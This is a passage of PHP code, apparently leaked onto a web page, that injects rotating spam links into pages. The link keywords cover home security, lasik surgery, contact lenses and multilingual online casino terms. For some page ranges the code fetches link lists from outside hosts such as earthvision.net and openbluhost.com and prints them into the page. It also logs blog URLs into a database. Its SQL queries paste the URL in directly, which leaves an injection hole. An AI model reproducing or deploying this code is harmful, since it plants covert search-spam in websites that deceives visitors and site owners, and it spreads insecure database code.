"; include("_end_caching.php"); } elseif(!strpos($url, "emplatesbrowser.co") AND $id < 58000) { include("_start_caching-NEW-281208.php"); $rand = rand(1,8); // echo " "; if($rand == 1) echo "
home security
"; elseif($rand == 2) echo "
home security systems
"; elseif($rand == 3) echo "
home security cameras
"; elseif($rand == 4) echo "
wireless security
"; elseif($rand == 5) echo "
lasik surgery
"; elseif($rand == 6) echo "
Buy contact lenses
"; elseif($rand == 7) echo "
lasik surgery
"; else echo "
vision care
"; include("_end_caching.php"); } elseif(!strpos($url, "emplatesbrowser.co") AND $id < 59000) { include("_start_caching-NEW-040109.php"); $rand = rand(1,8); // echo " "; if($rand == 1) echo "
home security alarm
"; elseif($rand == 2) echo "
home security systems
"; elseif($rand == 3) echo "
home home security camera
"; elseif($rand == 4) echo "
home wireless security
"; else echo "
Home security
"; include("_end_caching.php"); } elseif(!strpos($url, "emplatesbrowser.co") AND $id < 60000) { include("_start_caching-nntp-2.php"); $randnum = rand(1456490, 2699999); $randnum2 = $randnum + 666666; $wlinks = file_get_contents("http://www.earthvision.net/wlinks/index.php"); echo " "; include("_end_caching.php"); } elseif(!strpos($url, "emplatesbrowser.co") AND $id < 60500) { /* include("_start_caching-nntp-3.php"); $randnum = rand(1456490, 2699999); $randnum2 = $randnum + 666666; $wlinks = file_get_contents("http://www.studmed.com/wlinks/index.php"); echo " "; include("_end_caching.php"); */ include("_start_caching-nntp-3.php"); $randnum = rand(499999, 15999999); echo "
what is
"; include("_end_caching.php"); } elseif(!strpos($url, "emplatesbrowser.co") AND $id < 61000) { include("_start_caching-nntp-2.php"); $randnum = rand(1456490, 2699999); $randnum2 = $randnum + 666666; $wlinks = file_get_contents("http://www.earthvision.net/wlinks/index.php"); echo " "; include("_end_caching.php"); } elseif(!strpos($url, "emplatesbrowser.co") AND $id < 62000) { include("_start_caching-NEW-120109.php"); //$rand = rand(1,8); $rand = rand(1,4); // echo " "; if($rand == 1) echo "
Home security
"; elseif($rand == 2) echo "
home security system
"; elseif($rand == 3) echo "
Lasik surgery
"; elseif($rand == 4) echo "
lasik surgery
"; else echo "
Lasik eye surgery
"; include("_end_caching.php"); } elseif(!strpos($url, "emplatesbrowser.co") AND $id < 62500) { include("_start_caching-nntp-4.php"); $randnum = rand(1456490, 2699999); $wlinks = file_get_contents("http://www.openbluhost.com/wlinks/index.php"); echo "
$wlinks
"; include("_end_caching.php"); } elseif(!strpos($url, "emplatesbrowser.co") AND $id < 63000) { include("_start_caching-nntp-4.php"); $randnum = rand(1456490, 2699999); $wlinks = file_get_contents("http://www.cdnbusinessdirectory.com/wlinks/index.php"); echo "
$wlinks
"; include("_end_caching.php"); } elseif(!strpos($url, "emplatesbrowser.co") AND $id < 64000) { include("_start_caching-NEW-020209.php"); $rand = rand(1,4); $randnum = rand(50,99999); // echo " "; if($rand == 1) echo "
Home Security
"; elseif($rand == 2) echo "
Home security system
"; elseif($rand == 3) echo "
lasik
"; else echo "
Lasik surgery
"; include("_end_caching.php"); } elseif(!strpos($url, "emplatesbrowser.co") AND $id < 64500) { include("_start_caching-nntp-5.php"); $randnum = rand(1456490, 2699999); $wlinks = file_get_contents("http://www.earthvision.net/wlinks/index.php"); echo "
$wlinks
"; include("_end_caching.php"); } elseif(!strpos($url, "emplatesbrowser.co") AND $id < 65000) { include("_start_caching-nntp-5.php"); $randnum = rand(10, 99999); $wlinks = file_get_contents("http://www.cdnbusinessdirectory.com/wlinks/index.php"); echo "
$wlinks
"; include("_end_caching.php"); } elseif(!strpos($url, "emplatesbrowser.co") AND $id < 65500) { include("_start_caching-nntp-4.php"); $randnum = rand(1456490, 2699999); $wlinks = file_get_contents("http://www.openbluhost.com/wlinks/index.php"); echo "
$wlinks
"; include("_end_caching.php"); } elseif(!strpos($url, "emplatesbrowser.co") AND $id < 66000) { // EX-OPENBLUHOST 130510 } elseif(!strpos($url, "emplatesbrowser.co") AND $id < 67000) { include("_start_caching-nntp-5.php"); $randnum = rand(10, 99999); $wlinks = file_get_contents("http://www.cdnbusinessdirectory.com/wlinks/index.php"); $wlinks2 = file_get_contents("http://www.openbluhost.com/wlinks/index.php"); echo " "; include("_end_caching.php"); } elseif(!strpos($url, "emplatesbrowser.co") AND $id < 67500) { // 150709: Banned - ex mrg,fireprox,cead include("_start_caching-NEW-281108.php"); $rand = rand(1,4); $randum = rand(500,99999); if($rand == 1) echo "
azioni
"; elseif($rand == 2) echo "
opa
"; else echo "
scudo fiscale
"; include("_end_caching.php"); } elseif(!strpos($url, "emplatesbrowser.co") AND $id < 68000) { /* 160709 - REMOVED: bonnomori,joe, banned... keep desmoinesarearealtor.net */ include("_start_caching-160709.php"); $randnum = rand(499999, 15999999); $rand = rand(1,4); if($rand == 1) echo "
casino spiele
"; elseif($rand == 2) echo "
internet casino
"; elseif($rand == 3) echo "
le casino en ligne
"; else echo "
online-kasino
"; include("_end_caching.php"); } elseif(!strpos($url, "emplatesbrowser.co") AND $id < 68500) { include("_start_caching-020409.php"); $randnum = rand(499999, 15999999); $rand = rand(1,4); if($rand == 1) echo "
casino
"; elseif($rand == 2) echo "
jeux casino
"; elseif($rand == 3) echo "
casino online
"; else echo "
casino en ligne
"; include("_end_caching.php"); } elseif(!strpos($url, "emplatesbrowser.co") AND $id < 69000) { include("_start_caching-020409.php"); $randnum = rand(499999, 15999999); $rand = rand(1,6); if($rand == 1) echo "
online gambling
"; elseif($rand == 2) echo "
le casino en ligne
"; elseif($rand == 3) echo "
hallo online-casino
"; elseif($rand == 4) echo "
le jeu en ligne
"; elseif($rand == 5) echo "
jeux d argent en ligne
"; else echo "
les casino virtuels
"; include("_end_caching.php"); } elseif(!strpos($url, "emplatesbrowser.co") AND $id < 69500) { include("_start_caching-210409.php"); $randnum = rand(499999, 15999999); $rand = rand(1,6); if($rand == 1) echo "
casino online
"; elseif($rand == 2) echo "
i casino online
"; elseif($rand == 3) echo "
bonus casino
"; elseif($rand == 4) echo "
bonus dei casino online
"; elseif($rand == 5) echo "
casinò online
"; else echo "
i casino on line
"; include("_end_caching.php"); } elseif(!strpos($url, "emplatesbrowser.co") AND $id < 70000) { include("_start_caching-210409.php"); $randnum = rand(499999, 15999999); $rand = rand(1,6); if($rand == 1) echo "
i casino online
"; elseif($rand == 2) echo "
casino online legali
"; elseif($rand == 3) echo "
casino on-line
"; elseif($rand == 4) echo "
online casino
"; elseif($rand == 5) echo "
casino online
"; else echo "
casino on line
"; include("_end_caching.php"); } elseif(!strpos($url, "emplatesbrowser.co") AND $id < 70500) { include("_start_caching-210409.php"); $randnum = rand(499999, 15999999); $rand = rand(1,2); if($rand == 1) echo "
casinò online
"; else echo "
casino online
"; include("_end_caching.php"); } elseif(!strpos($url, "emplatesbrowser.co") AND $id < 71000) { include("_start_caching-210409.php"); $randnum = rand(499999, 15999999); $rand = rand(1,2); if($rand == 1) echo "
casino online
"; else echo "
casino on line
"; include("_end_caching.php"); } // 23/01/10 elseif(!strpos($url, "emplatesbrowser.co") AND $id < 72000) { include("_start_caching-230110.php"); $randnum = rand(499999, 15999999); $rand = rand(1,2); if($rand == 1) echo "
casino on line
"; else echo "
casino on-line
"; include("_end_caching.php"); } elseif(!strpos($url, "emplatesbrowser.co") AND $id < 74000) { include("_start_caching-230110.php"); $randnum = rand(499999, 15999999); $rand = rand(1,2); if($rand == 1) echo "
casino online
"; else echo "
casino on line
"; include("_end_caching.php"); } elseif(!strpos($url, "emplatesbrowser.co") AND $id < 75000) { include("_start_caching-010410.php"); $randnum = rand(499999, 15999999); $rand = rand(1,2); if($rand == 1) echo "
chatroulette
"; else echo "
chatroulette
"; include("_end_caching.php"); } elseif(!strpos($url, "emplatesbrowser.co") AND $id < 75500) { include("_start_caching-160510.php"); $randnum = rand(499999, 15999999); $rand = rand(1,2); if($rand == 1) echo " "; else echo " "; include("_end_caching.php"); } elseif(!strpos($url, "emplatesbrowser.co") AND $id < 76000) { include("_start_caching-160510.php"); $randnum = rand(499999, 15999999); $rand = rand(1,2); if($rand == 1) echo " "; else echo " "; include("_end_caching.php"); } elseif(!strpos($url, "emplatesbrowser.co") AND $id < 77000) { include("_start_caching-160510.php"); $randnum = rand(499999, 15999999); $rand = rand(1,2); if($rand == 1) echo " "; else echo " "; include("_end_caching.php"); } else { } $time = date("Y-m-d H:i:s"); $sql = "UPDATE `wp` SET `last` = '$time' WHERE url = '$url' LIMIT 1"; mysql_query($sql) or die (); } else { if(!strpos($url, "blogs.chatting.co") AND !strpos($url, "blog.iskreni.ne") AND !strpos($url, ".ripten.co") AND !strpos($url, ".tenderblogs.com") AND !strpos($url, ".blogdir.it") AND !strpos($url, ".topicate.com") AND !strpos($url, ".brogui.com") AND !strpos($url, ".www-") AND !strpos($url, "backpainreliefsecrets.info") AND !strpos($url, "mycomputernews.com") AND !strpos($url, "72pines.com") ) { $sql = "INSERT INTO `wp` (`url`) VALUES ('$url')"; mysql_query($sql) or die (""); } } } @mysql_close($conn); // MODIFICATO : Fine cache //include("_end_caching.php"); ?>

コメント